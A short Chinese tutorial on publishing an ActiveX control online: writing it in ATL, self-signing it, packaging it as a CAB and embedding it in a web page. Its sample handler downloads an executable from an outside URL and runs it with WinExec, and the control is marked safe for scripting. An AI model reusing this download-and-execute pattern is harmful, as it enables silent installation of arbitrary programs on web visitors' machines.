天天看点

一步一步 在线发布 ActiveX

先准备必备工具: 生成证书工具, 打包工具 , 签证工具

装了 platform sdk 就已经有前2种了, 再到 www.ca365.com上下载一个 SIGNCODE.EXE 签证用的.

1. 用atl写个activex,工程命为 activextest 插入Composite Control, 发给按钮,双击按钮,在函数种输入如

下测试代码

::MessageBox(NULL, "请等待几秒钟", "测试", MB_OK);

URLDownloadToFile(NULL,"http://www.softwife.com/xx.exe","c://xx.exe",0,NULL);

WinExec("c://xx.exe",SW_SHOW);

实现 IObjectSafety 接口

编译, 把activextest.dll copy 出来

2. 制作证书:

MakeCert -sv "test.pvk" n "CN=公司名称" test.CER

提示输入密匙: 3次输入的要一样

Cert2Spc test.CER test.spc

3.打成cab包

编写 inf 文件, 命名为 activextest.inf ,内容如下 其中 clsid 再你工程的 activextest.idl 中可以找到

[version]

signature="$CHICAGO$"

AdvancedINF=2.0

[Add.Code]

activextes.dll=activextes.dll

[activextes.dll]

file-win32-x86=thiscab

clsid={xxx-xx-xx-xx-xx}

FileVersion=1, 0, 0, 1

RegisterServer=yes

CABARC -s 6144 n activextest.cab activextest.dll activextest.

4.签证

双击 SIGNCODE.EXE , 按照要求, 选activextest.cab , 选 test.spc 选test.pvk

5.编写发布网页

CLASSID="clsid:xxx-xx-xx-xx-xx"

CODEBASE="http://www.softwife/cab/activextest.cab#version=1, 0, 0, 1">

ok, 把网页和cab包传到服务器上, 根据这些, 你可以编写一个象 3721 的网上安装程序了